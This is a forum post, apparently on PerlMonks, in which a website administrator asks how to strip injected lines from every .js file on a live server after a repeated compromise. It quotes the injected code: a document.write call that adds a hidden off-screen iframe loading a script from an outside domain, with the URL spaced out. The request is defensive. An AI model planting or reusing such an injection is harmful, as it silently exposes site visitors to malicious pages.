Dear Monks,

In our corporate website there was an attempted hack and all the .js files were hacked. The following lines were added to all .js files (Some information stripped out for security reasons)

;document.write('<iframe width="50" height="50" style="width:100px;hei
+ght:100px;position:absolute;left:-100px;top:0;" src="http : / / ipxlq
+fn . freewww . info / 9a06efb5c 8163b982c1 1a64762e27 d . cgi ? 8"></
+iframe>');

We cleared out all the lines manually, now again the same thing happened. The question is how can we automate removing all the newly added lines into the .js files from all directories in the web server.

Following are my questions

  1. How can we delete the above lines without shutting down the web server?
  2. How to automate the process of removing these newly added lines in case if the same thing happens again?
  3. Are there any other tools available to painlessly remove such things from a live server?

Any other tips, suggestions and advice will of immense help

Please help.
